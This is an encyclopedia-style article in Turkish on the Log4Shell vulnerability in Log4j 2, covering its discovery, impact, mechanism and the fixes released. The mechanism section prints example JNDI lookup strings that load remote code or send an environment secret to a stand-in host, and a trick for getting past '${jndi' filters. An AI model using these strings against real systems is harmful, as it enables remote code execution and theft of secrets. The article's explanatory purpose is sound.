Log4Shell
| CVE kimliği | CVE-2021-44228 |
|---|---|
| Keşfedildiği tarih | 24 Kasım 2021) |
| Düzeltildiği tarih | 6 Aralık 2021) |
| Keşfeden | Alibaba Cloud güvenlik ekibinden Chen Zhaojun |
| Etkilenen yazılım | Kullanıcı girdilerini Log4j 2 ile kayıt tutan uygulamalar |
Log4Shell (CVE-2021-44228) popüler Java loglama kütüphanesi Log4j 2'de Kasım 2021'de keşfedilmiş, uzaktan kod yürütmeyi mümkün kılan bir sıfır-gün açığıdır.[1][2]
2013'ten beri fark edilmeyen bu güvenlik açığı, 24 Kasım 2021'de Alibaba Cloud güvenlik ekibinden Chen Zhaojun tarafından özel olarak projenin geliştiricisi Apache Yazılım Vakfı'na bildirildi.[3] 10 Aralık 2021'de bir CVE tanımlayıcısı oluşturulana dek bu açık, kamuoyunda "Log4Shell" olarak adlandırılmıştır.[4][5] Apache bu güvenlik açığına CVSS ölçeğinde en yüksek tehlike skoru olan 10.0 puanını verdi.[6] Çalıştırması oldukça basit olan bu güvenlik zafiyetinin yüz milyonlarca cihazı etkilediği öngörüldü.[7][8] Siber güvenlik şirketleri Wiz ve EY'e göre bu güvenlik açığından, ticari bulut ortamlarının %93'ü etkilendi.[9]
Zafiyet, Log4j 2'nin JNDI arayüzü suistimal edilerek, saldırganın kendi sunucusuna LDAP ve DNS gibi protokollerle istenen herhangi bir isteği gönderilebilmesinden kaynaklanır. Bu sayede saldırganlar hedefledikleri sunucularda veya bilgisayarlarda, istedikleri Java kodunu çalıştırabilir, hassas bilgileri sızdırabilir.[10][11] Apache Güvenlik Takımı tarafından bu zafiyetten etkilenen yazılımların bir listesi yayınlandı.[12] Bu zafiyetten başta Minecraft[13], Steam, Amazon Web Services[14], Cloudflare ve İCloud[15] olmak üzere pek çok ticari hizmet etkilendi.[16]
Bu zafiyet halka açık olarak ilk duyurulduğunda, siber güvenlik uzmanları tarafından şiddetli bir tepki aldı. Amerikan siber güvenlik şirketi Tenable, bu açığı "Şimdiye kadarki en büyük ve en kritik zafiyet"[17] olarak nitelendirdi; Ars Technica "Muhtemelen şimdiye dek görülen en ciddi zafiyet"[18] şeklinde tanımladı ve The Washington Post güvenlik uzmanlarının yaptığı değerlendirmelerin "neredeyse kıyametin eşiğinde bir tonda" olduğunu belirtti.[19]
Arka plan
[değiştir | kaynağı değiştir]Log4j, yazılım geliştiricilerin, kullanıcı girdileri de dahil olmak üzere uygulamaların kayıtlarını tutmalarına yarayan, 2001'de Ceki Gülcü tarafından Apache bünyesinde yayınlanmış açık kaynaklı bir Java kütüphanesidir. Orijinal geliştirici Ceki Gülcü 2006 yılında Apache'den ve Log4j geliştirme ekibinden ayrılmış, kütüphane Apache geliştiricileri tarafından geliştirilmeye devam edilmiştir.[20]
2012 yılında Log4j tamamen yeniden dizayn edilmeye başlandı.[20][21] 14 Eylül 2013 yılında Apache Yazılım Vakfı tarafından bir çok hatanın giderildiği ve bu güvenlik zafiyetinin ilk görülmeye başlandığı Log4j 2.0-beta9 sürümü yayınladı.[22]
Bu yeni sürümle beraber Log4j, çeşitli dizin ve adlandırma hizmetlerine erişmek için API sağlayan standart bir Java uzantısı olan JNDI'yi (Java™ Naming and Directory Interface) desteklemeye başladı.[23]
İşleyiş
[değiştir | kaynağı değiştir]JNDI, çeşitli dizin ve adlandırma hizmetlerine erişmek için API sağlayan standart bir Java uzantısıdır. Çeşitli protokolleri destekler, bunlardan biri de uzak kaynaktaki bir nesnenin bir URL aracılığıyla uygulama içinde kullanılmasını mümkün kılan LDAP protokolüdür (Türkçe: Basit İndeks Erişim Protokolü).[24]
Varsayılan ayarlarda Log4j 2, ${prefix:name} formatındaki karakter dizisini günlük defterine yazarken çözümler. Örneğin İşletim Sistemi: ${java:os} ifadesi, İşletim Sistemi: Windows 11 şeklinde çözümlenebilir.[25] Bunlar arasında en tanınan ifadelerden biri ${jndi:<lookup>} şeklindeki ifadelerdir, eğer "lookup" (erişim/çözümleme) ifadesi için bir LDAP adresi girilirse, örneğin: ${jndi:ldap://example.com/zararli_dosya} , Log4j bu URL'ye bağlanarak Java nesnesini yükleyecektir. Bu sayede saldırgan, kendi sunucusunda bulundurduğu kötü niyetli kodu, hedef sunucuda çalıştırabilir.[24]
Hedefte dışarıdan kod çalıştırma yetkisi sınırlandırılmışsa dahi; saldırgan, hedef sistemdeki çevre değişkenleri gibi hassas bilgileri parametre olarak ekleyebilir ve kendi sunucusuna gönderebilir, örneğin: ${jndi:ldap://example.com/?${env:SECRET_TOKEN}}[24] LDAP'ın yanı sıra; RMI, DNS, IIOP gibi JNDI'nın desteklediği protokoller de bu zafiyeti çalıştırırken kullanılabilir.
Bu zafiyeti kullanan popüler bir saldırı vektörü, art niyetli ifadeyi HTTP isteğinin içindeki User-Agent gibi değerler ile göndermektir. Bu zafiyeti çözmek için atılan ilk adımlar, içinde ${jndi geçen talepleri tamamen engellemek oldu, ancak bu tür çözümler, isteği karmaşıklaştırarak aşılabiliyordu. Örneğin: ${${lower:j}ndi ifadesi sunucuda yine ${jndi şeklinde yorumlanır ve filtreden kaçınabilir.[24]
Zafiyetin giderilmesi
[değiştir | kaynağı değiştir]Zafiyetin giderilmesi için 6 Aralık 2021'de, zafiyet kamuoyuna duyurulmadan 3 gün önce, Log4j 2.15.0-rc1 sürümü yayınlandı.[26] Çözümler arasında, isim çözümlemede sunucu ve protokollerin kullanılmasının tamamen yasaklanması da bulunuyordu. Yapılan daha derin tahkikatlar sonucunda araştırmacılar bazı konfigürasyonlarda hâlâ uzaktan kod çalıştırmayı mümkün kılan, CVSS skoru 9.0 olarak belirlenen, başka bir kritik güvenlik açığı buldular, CVE-2021-45046; bu açık JNDI özelliğinin tamamen devre dışı bırakıldığı 2.16.0 sürümüyle giderildi. İlerleyen süreçte iki ek zafiyet daha bulundu, biri 2.17 sürümüyle giderilen CVE-2021-45105 numaralı bir servis dışı bırakma saldırısı açığı, diğeri ise 2.17.1 sürümüyle giderilen CVE-2021-44832 numaralı, çalıştırması oldukça güç bir uzaktan kod yürütme açığıydı.
2.17.1'den 2.0.0'a kadar olan eski sürümlerde çözüm olarak org.apache.logging.log4j.core.lookup.JndiLookup sınıfının tamamen silinmesi önerildi. Çeşitli sebeplerden dolayı Log4j 2'nin güncellenmesinin mümkün olmadığı sistemlerde ise dışarıya giden internet trafiğinin filtrelenmesi önerildi.[27]
Log4j 1.x sürümleri, Log4j 2’de getirilen mesaj arama (message lookup) mekanizmasını içermediğinden, Log4Shell zafiyetinden etkilenmemektedir.[28]
Kaynakça
[değiştir | kaynağı değiştir]- ^ Wortley, Free; Thrompson, Chris; Allison, Forrest (9 December 2021). "Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package" [Log4Shell: Log4j 2 adlı popüler Java paketinde RCE'yi mümkün kılan 0-gün açığı keşfedildi]. LunaSec (İngilizce). 2024-06-16 tarihinde kaynağından arşivlendi. Erişim tarihi: 16 June 2024.
- ^ "CVE-2021-44228". Common Vulnerabilities and Exposures. 10 Aralık 2021. Erişim tarihi: 28 Kasım 2025.
- ^ "Inside the Race to Fix a Potentially Disastrous Software Flaw". Bloomberg.com (İngilizce). 2021-12-13. Erişim tarihi: 2024-11-19.
- ^ Povolny, Steve; McKee, Douglas (10 December 2021). "Log4Shell Vulnerability is the Coal in our Stocking for 2021". McAfee (İngilizce). Erişim tarihi: 12 December 2021.
- ^ "Worst Apache Log4j RCE Zero day Dropped on Internet". Cyber Kendra. 9 December 2021. Erişim tarihi: 12 December 2021.
- ^ "Apache Log4j Security Vulnerabilities". Log4j. Apache Software Foundation. Erişim tarihi: 12 December 2021.
- ^ Hunter, Tatum; de Vynck, Gerrit (20 December 2021). "The 'most serious' security breach ever is unfolding right now. Here's what you need to know". The Washington Post.
- ^ Murphy, Hannah (2021-12-14). "Hackers launch more than 1.2m attacks through Log4J flaw". Financial Times. Erişim tarihi: 2021-12-17.
- ^ "Enterprises halfway through patching Log4Shell | Wiz Blog". www.wiz.io. 20 December 2021. Erişim tarihi: 2021-12-20.
- ^ Mott, Nathaniel (10 December 2021). "Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit". PC Magazine (İngilizce). Erişim tarihi: 12 December 2021.
- ^ Goodin, Dan (10 December 2021). "Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet". Ars Technica (İngilizce). Erişim tarihi: 12 December 2021.
- ^ "Apache projects affected by log4j CVE-2021-44228". 14 December 2021.
- ^ "Security Vulnerability in Minecraft: Java Edition". Minecraft. Mojang Studios. Erişim tarihi: 13 December 2021.
- ^ "Update for Apache Log4j2 Issue (CVE-2021-44228)". Amazon Web Services. 12 December 2021. Erişim tarihi: 13 December 2021.
- ^ Lovejoy, Ben (14 December 2021). "Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade". 9to5Mac.
- ^ Goodin, Dan (10 December 2021). "The Internet's biggest players are all affected by critical Log4Shell 0-day". ArsTechnica. Erişim tarihi: 13 December 2021.
- ^ Barrett, Brian. "The Next Wave of Log4J Attacks Will Be Brutal". Wired (İngilizce). ISSN 1059-1028. Erişim tarihi: 2021-12-17.
- ^ Goodin, Dan (2021-12-13). "As Log4Shell wreaks havoc, payroll service reports ransomware attack". Ars Technica (İngilizce). Erişim tarihi: 2021-12-17.
- ^ Hunter, Tatum; de Vynck, Gerrit (20 December 2021). "The 'most serious' security breach ever is unfolding right now. Here's what you need to know". The Washington Post.
- ^ a b Fulterer (16 Aralık 2021). "Log4j wurde 1997 in der Schweiz entwickelt – der Erfinder erzählt" [Log4j'nin Yaratıcısı Hikayesini anlatıyor] (Röportaj) (Almanca). Erişim tarihi: 23 Kasım 2025.
- ^ Ralph Goers (14 Aralık 2019). "Why was Log4j 2 created?" (blog yazısı).
- ^ "Apache Log4j 2.0-beta9 released". Apache. Erişim tarihi: 29 Kasım 2025.
- ^ "JNDI denetimli nesneler - IBM". IBM. Erişim tarihi: 29 Kasım 2025.
- ^ a b c d Graham-Cumming, John (10 December 2021). "Inside the Log4j2 vulnerability (CVE-2021-44228)". The Cloudflare Blog (İngilizce). Erişim tarihi: 13 December 2021.
- ^ "Lookups". Log4j. Apache Software Foundation. Erişim tarihi: 13 December 2021.
- ^ "Restrict LDAP access via JNDI by rgoers #608". Log4j (İngilizce). 5 December 2021. Erişim tarihi: 12 December 2021 – GitHub vasıtasıyla.
- ^ "Alert: Apache Log4j vulnerabilities". National Cyber Security Centre (United Kingdom). 10 Aralık 2021. Erişim tarihi: 28 Kasım 2025.
- ^ "Log4j Güvenlik Açıkları". Apache Yazılım Vakfı. Erişim tarihi: 29 Kasım 2025.